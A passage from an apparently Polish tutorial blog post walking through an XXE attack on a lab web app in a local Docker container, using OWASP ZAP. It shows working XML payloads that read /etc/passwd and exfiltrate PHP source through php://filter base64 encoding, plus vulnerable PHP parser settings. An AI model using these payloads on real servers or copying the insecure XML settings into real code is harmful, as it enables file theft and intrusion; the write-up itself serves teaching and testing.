&lt;a href="https://www.zaproxy.org/"target="_blank" rel="noopener">Zed Attack Proxy&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;p>Skoro wszystko gotowe możemy zacząć przechwytywanie pakietów z i do dockerowego
kontenera. Dość wyraźną podpowiedź, co do możliwej podatności witryny otrzymujemy
już w odpowiedzi do zapytania typu GET na adres kontenera:&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./zap_1.png">
&lt;/figure>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">[ ... ]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">script&lt;/span> &lt;span class="na">type&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;text/javascript&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">function&lt;/span> &lt;span class="nx">XMLFunction&lt;/span>&lt;span class="p">(){&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">var&lt;/span> &lt;span class="nx">xml&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span> &lt;span class="o">+&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&amp;#39;&lt;/span> &lt;span class="o">+&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;&amp;lt;root&amp;gt;&amp;#39;&lt;/span> &lt;span class="o">+&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;&amp;lt;name&amp;gt;&amp;#39;&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="nx">$&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;#name&amp;#39;&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">val&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="s1">&amp;#39;&amp;lt;/name&amp;gt;&amp;#39;&lt;/span> &lt;span class="o">+&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;&amp;lt;tel&amp;gt;&amp;#39;&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="nx">$&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;#tel&amp;#39;&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">val&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="s1">&amp;#39;&amp;lt;/tel&amp;gt;&amp;#39;&lt;/span> &lt;span class="o">+&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;&amp;lt;email&amp;gt;&amp;#39;&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="nx">$&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;#email&amp;#39;&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">val&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="s1">&amp;#39;&amp;lt;/email&amp;gt;&amp;#39;&lt;/span> &lt;span class="o">+&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;&amp;lt;password&amp;gt;&amp;#39;&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="nx">$&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;#password&amp;#39;&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">val&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="s1">&amp;#39;&amp;lt;/password&amp;gt;&amp;#39;&lt;/span> &lt;span class="o">+&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;&amp;lt;/root&amp;gt;&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">var&lt;/span> &lt;span class="nx">xmlhttp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="nx">XMLHttpRequest&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">xmlhttp&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">onreadystatechange&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kd">function&lt;/span> &lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">xmlhttp&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">readyState&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">4&lt;/span>&lt;span class="p">){&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">console&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">xmlhttp&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">readyState&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">console&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">xmlhttp&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">responseText&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">document&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">getElementById&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;errorMessage&amp;#39;&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">innerHTML&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">xmlhttp&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">responseText&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">xmlhttp&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;POST&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;process.php&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="kc">true&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">xmlhttp&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">xml&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">script&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[ ... ]&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Nawet, jeżeli nic nam to nie mówi, po szybkim wykorzystaniu wyszukiwarki znajdujemy
informacje, które sprawią, że jesteśmy pewni swego -
&lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest"target="_blank" rel="noopener">XMLHttpRequest&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.
Przechwyćmy więc to zapytanie:&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./zap_2.png">
&lt;/figure>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;root&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;name&amp;gt;&lt;/span>hackerman&lt;span class="nt">&amp;lt;/name&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;tel&amp;gt;&lt;/span>1111111111&lt;span class="nt">&amp;lt;/tel&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;email&amp;gt;&lt;/span>hackerman@funsociety.xyz&lt;span class="nt">&amp;lt;/email&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;password&amp;gt;&lt;/span>password&lt;span class="nt">&amp;lt;/password&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;/root&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Skrypt w zapytaniu podstawia nam wartości z elementu &lt;em>fieldset&lt;/em> do odpowiednich
znaczników zapytania zdefiniowanego powyżej. Ciekawe, że niezależnie od tego, jaki
adres email zostanie podany, odpowiedź zwróci nam błąd typu: &amp;ldquo;Sorry,
&lt;code>hackerman@funsociety.xyz&lt;/code> is already registered!&amp;rdquo;.&lt;/p>
&lt;p>Pozostało nam wybrać element, w którym spróbujemy umieścić zewnętrzną encję. Jedna
zwracana przez serwer informacja to zawartość tagu &lt;code>&amp;lt;email&amp;gt;&lt;/code>, i to właśnie wykorzystamy.&lt;/p>
&lt;h2>LFI via XML w akcji&lt;span class="hx:absolute hx:-mt-20" id="lfi-via-xml-w-akcji">&lt;/span>
&lt;a href="#lfi-via-xml-w-akcji" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!DOCTYPE xxe [
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp"> &amp;lt;!ENTITY lfi SYSTEM &amp;#34;file:///etc/passwd&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">]&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;root&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;name&amp;gt;&lt;/span>hackermam&lt;span class="nt">&amp;lt;/name&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;tel&amp;gt;&lt;/span>1111111111&lt;span class="nt">&amp;lt;/tel&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;email&amp;gt;&lt;/span>&lt;span class="ni">&amp;amp;lfi;&lt;/span>&lt;span class="nt">&amp;lt;/email&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;password&amp;gt;&lt;/span>password&lt;span class="nt">&amp;lt;/password&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;/root&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./zap_4.png">
&lt;/figure>
&lt;p>Od razu możemy przetestować wyciąganie plików, które zawierając znaki specjalne,
przy powyższym wykorzystaniu LFI spowodowałyby błąd parsera i uniemożliwiłyby wykradzenie
danych. Zauważmy, że zapytanie wygenerowane przez skrypt wysyłane jest jako POST,
w moim przypadku na adres: &lt;code>http://192.168.69.130:5000/process.php&lt;/code>. Oznacza to
najprawdopodobniej dwie rzeczy:&lt;/p>
&lt;ul>
&lt;li>obsługa zapytania wykonywana jest przez plik &lt;code>process.php&lt;/code>,&lt;/li>
&lt;li>plik &lt;code>process.php&lt;/code> znajdować może się w katalogu głównym naszej internetowej
aplikacji, a w związku z &lt;code>Server: Apache/2.4.7 (Ubuntu)&lt;/code> oznacza to ścieżkę
typu &lt;code>/var/www/html/process.php&lt;/code>.&lt;/li>
&lt;/ul>
&lt;p>Aby wyciągnąć ten plik, musimy posłużyć się filtrami PHP, które umożliwią nam zakodowanie
zawartości w formacie zgodnym z URL. Prawdopodobnie myślimy o tym samym - base64.
Jeśli nie, to &lt;a href="https://www.php.net/manual/en/wrappers.php.php"target="_blank" rel="noopener">filtrowanie php&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>
nie ogranicza się tylko i wyłącznie do zadań typu &lt;em>to-upper-case&lt;/em>.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-php" data-lang="php">&lt;span class="line">&lt;span class="cl">&lt;span class="nx">php&lt;/span>&lt;span class="o">://&lt;/span>&lt;span class="nx">filter&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="nx">resource&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="nx">string&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="nx">toupper&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="nx">resuource&lt;/span>&lt;span class="o">=&amp;lt;&lt;/span>&lt;span class="nx">path_to_file&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">php&lt;/span>&lt;span class="o">://&lt;/span>&lt;span class="nx">filter&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="nx">resource&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="nx">string&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="nx">tolower&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="nx">resuource&lt;/span>&lt;span class="o">=&amp;lt;&lt;/span>&lt;span class="nx">path_to_file&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">php&lt;/span>&lt;span class="o">://&lt;/span>&lt;span class="nx">filter&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="nx">resource&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="nx">string&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="nx">toupper&lt;/span>&lt;span class="o">|&lt;/span>&lt;span class="nx">string&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="nx">rot13&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="nx">resource&lt;/span>&lt;span class="o">=&amp;lt;&lt;/span>&lt;span class="nx">path_to_file&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Dodatkowo możemy również kompresować, czy też jak wspomniałem wcześniej konwertować
do base64.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!DOCTYPE xxe [
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp"> &amp;lt;!ENTITY php_file SYSTEM &amp;#34;php://filter/convert.base64-encode/resource=/var/www/html/process.php&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">]&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;root&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;name&amp;gt;&lt;/span>hackermam&lt;span class="nt">&amp;lt;/name&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;tel&amp;gt;&lt;/span>1111111111&lt;span class="nt">&amp;lt;/tel&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;email&amp;gt;&lt;/span>&lt;span class="ni">&amp;amp;php_file;&lt;/span>&lt;span class="nt">&amp;lt;/email&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;password&amp;gt;&lt;/span>password&lt;span class="nt">&amp;lt;/password&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;/root&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./zap_5.png">
&lt;/figure>
&lt;p>Jak widać na powyższym screenie, aplikacja zwróciła nam żądane dane. Odkodujmy
je więc w dekoderze ZAP-a:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>Sorry, PD9waHAKbGlieG1sX2Rpc2FibGVfZW50aXR5X2xvYWRlciAoZmFsc2UpOwokeG1sZmlsZSA9I
GZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6Ly9pbnB1dCcpOwokZG9tID0gbmV3IERPTURvY3VtZW50KCk7C
iRkb20tPmxvYWRYTUwoJHhtbGZpbGUsIExJQlhNTF9OT0VOVCB8IExJQlhNTF9EVERMT0FEKTsKJGluZ
m8gPSBzaW1wbGV4bWxfaW1wb3J0X2RvbSgkZG9tKTsKJG5hbWUgPSAkaW5mby0&amp;#43;bmFtZTsKJHRlbCA9I
CRpbmZvLT50ZWw7CiRlbWFpbCA9ICRpbmZvLT5lbWFpbDsKJHBhc3N3b3JkID0gJGluZm8tPnBhc3N3b
3JkOwoKZWNobyAiU29ycnksICRlbWFpbCBpcyBhbHJlYWR5IHJlZ2lzdGVyZWQhIjsKPz4K is already
registered!&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Kod PHP obsługujący zapytanie jest prosty. Nie trudno zauważyć co powoduje,
że aplikacja, która absolutnie nie potrzebuje do swojego działania encji zewnętrznych
ma dla nich pełne wsparcie:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-php" data-lang="php">&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;?&lt;/span>&lt;span class="nx">php&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">libxml_disable_entity_loader&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="k">false&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$xmlfile&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">file_get_contents&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;php://input&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$dom&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="nx">DOMDocument&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$dom&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="na">loadXML&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$xmlfile&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">LIBXML_NOENT&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="nx">LIBXML_DTDLOAD&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$info&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">simplexml_import_dom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$dom&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$name&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nv">$info&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="na">name&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$tel&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nv">$info&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="na">tel&lt;/span>&lt;span class="p">;&lt;/span>
